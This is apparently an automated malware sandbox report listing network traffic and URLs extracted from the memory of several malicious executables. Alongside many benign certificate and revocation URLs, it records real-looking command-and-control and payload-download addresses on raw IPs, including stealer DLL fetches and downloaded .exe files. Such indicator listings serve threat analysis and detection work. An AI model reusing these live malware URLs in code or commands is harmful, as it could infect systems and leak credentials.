Source: global traffic	DNS traffic detected: DNS query: appengine.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: presentymusse.world

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 26 Feb 2025 08:47:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T74V8S9Y9owK6vKlhLyjAFUb1AHX1akYFo8Jek9aeEwmyI2oLUdHsQw%2F5XfL5MBbFTmJFovdalZ4Ozx5Anykce%2Fsv%2FwYD72fkCkuptqT0kKP4e6DDyur15ZPAFczpqRcV0XOIWsV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 917eabc9b9c8c45c-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 26 Feb 2025 08:49:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=reALncuAaotbXiwMmpCL%2BDsFOkVmzbUFYDm5XWTY40YDUJ7FBzhLuAutJ8xn0OipIiTcYfq4LB4IcvMyktI3ansjhDZ8UX60Y3ho0Jii8QW6tCAa7mCItqsaVq5PIJqq490cIxMR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 917eaec22d45159b-EWR

Source: rapes.exe, 0000000C.00000002.2987219481.00000000014FA000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000C.00000002.2987219481.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpb
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.phpn
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/7
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/9
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/N(
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6416878235/Yg1HwMX.exe
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6416878235/Yg1HwMX.exe0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6416878235/Yg1HwMX.exew
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6708407063/MegVlau.exe
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6708407063/MegVlau.exe1dac97d7aee-
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6708407063/MegVlau.exe1dac97d7aee7&
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6708407063/MegVlau.exe1dac97dee7
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6708407063/MegVlau.exepDataBss
Source: rapes.exe, 0000000C.00000002.2987219481.00000000014FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7934537497/0iMSdYX.exe
Source: rapes.exe, 0000000C.00000002.2987219481.00000000014FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7934537497/0iMSdYX.exe1dac97d7aee7f
Source: rapes.exe, 0000000C.00000002.2987219481.00000000014FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7934537497/0iMSdYX.exeBD
Source: rapes.exe, 0000000C.00000002.2987219481.00000000014FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7934537497/0iMSdYX.exeh
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/815829564/RHPLumH.exe
Source: Anv6Gbh51e.exe, Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2231022476.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D71000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230336884.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234399085.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2211831146.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: Anv6Gbh51e.exe, 00000000.00000003.2231022476.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D71000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2211831146.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exeb4
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.115
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/freebl3.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/mozglue.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/mozglue.dll&a
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/msvcp140.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/nss3.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/softokn3.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/softokn3.dll(
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/sqlite3.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/sqlite3.dll4a
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/sqlite3.dllT
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/vcruntime140.dll
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/vcruntime140.dllC
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/vcruntime140.dll_
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/68b591d6548ec281/vcruntime140.dlls
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.php
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.php3
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpD:
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpS
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpSession
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpU
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpf
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpl
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phprofiles
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phprowser
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.115/c4becf79229cb002.phpser
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/d
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.115/m
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.115c4becf79229cb002.phpser
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: Anv6Gbh51e.exe, Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234180153.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2231022476.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D71000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2211831146.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230336884.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234399085.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe#jL
Source: Anv6Gbh51e.exe, 00000000.00000003.2231022476.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D71000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2211831146.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe4
Source: Anv6Gbh51e.exe, 00000000.00000003.2206156530.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230336884.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234399085.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exela
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/u
Source: Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2211831146.0000000000D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeD
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, Yg1HwMX[1].exe.12.dr, nss3.dll.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, Yg1HwMX[1].exe.12.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, Yg1HwMX[1].exe.12.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, Yg1HwMX[1].exe.12.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 0000001A.00000002.2986173845.0000028880084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chromecache_111.10.dr	String found in binary or memory: http://www.broofa.com
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, Yg1HwMX[1].exe.12.dr, nss3.dll.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: http://www.entrust.net/rpa03
